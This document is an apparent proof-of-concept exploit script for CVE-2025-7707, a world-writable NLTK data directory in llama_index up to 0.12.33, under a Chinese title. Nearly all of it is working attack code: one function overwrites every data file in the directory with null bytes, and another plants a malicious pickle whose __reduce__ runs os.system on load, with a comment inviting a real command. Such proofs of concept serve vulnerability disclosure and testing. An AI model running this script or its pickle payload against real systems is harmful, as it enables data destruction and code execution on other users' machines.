CVE-2025-7707 llama_index NLTK数据目录权限不当导致本地提权与数据篡改

# CVE-2025-7707 PoC - llama_index NLTK Data Directory Tampering # This PoC demonstrates how a local attacker can exploit the world-writable # NLTK data directory in llama_index <= 0.12.33 to tamper with shared data files. import os import sys import nltk # Step 1: Locate the vulnerable llama_index NLTK data directory # The vulnerable version sets the NLTK data path to a subdirectory within # the llama_index codebase (e.g., ./nltk_data) instead of a user-specific path. def find_vulnerable_nltk_dir(): """Find the world-writable NLTK data directory used by llama_index.""" import llama_index pkg_path = os.path.dirname(llama_index.__file__) candidate_dirs = [ os.path.join(pkg_path, "nltk_data"), os.path.join(pkg_path, "data", "nltk_data"), ] for d in candidate_dirs: if os.path.exists(d): # Check if directory is world-writable mode = os.stat(d).st_mode if mode & 0o002: # world-writable bit print(f"[+] Vulnerable world-writable directory found: {d}") return d return None # Step 2: Demonstrate data tampering (DoS / integrity attack) def tamper_nltk_data(target_dir): """Overwrite or corrupt NLTK data files in the shared directory.""" for root, dirs, files in os.walk(target_dir): for f in files: filepath = os.path.join(root, f) try: # Corrupt the data file by overwriting with garbage with open(filepath, "wb") as fp: fp.write(b"\x00" * 1024) print(f"[!] Corrupted: {filepath}") except PermissionError: print(f"[-] Permission denied: {filepath}") # Step 3: Plant malicious pickle payload (potential RCE via deserialization) def plant_malicious_pickle(target_dir): """Plant a malicious pickle file that executes code upon loading.""" import pickle class MaliciousPayload: def __reduce__(self): # Replace with actual malicious command in real exploit return (os.system, ("echo 'PWNED by CVE-2025-7707'",)) payload_path = os.path.join(target_dir, "tokenizers", "punkt", "malicious.pickle") os.makedirs(os.path.dirname(payload_path), exist_ok=True) with open(payload_path, "wb") as f: pickle.dump(MaliciousPayload(), f) print(f"[!] Malicious pickle planted at: {payload_path}") # Step 4: Verify the NLTK search path includes the vulnerable directory def check_nltk_search_path(): """Verify that the vulnerable directory is in NLTK's search path.""" print("[*] Current NLTK data search paths:") for p in nltk.data.path: print(f" - {p}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-7707 - llama_index NLTK Directory Tampering PoC") print("=" * 60) check_nltk_search_path() vuln_dir = find_vulnerable_nltk_dir() if vuln_dir: print(f"\n[*] Exploiting vulnerable directory: {vuln_dir}") # Uncomment the desired attack: # tamper_nltk_data(vuln_dir) # DoS / data corruption # plant_malicious_pickle(vuln_dir) # Potential RCE else: print("[-] No vulnerable directory found. System may be patched.")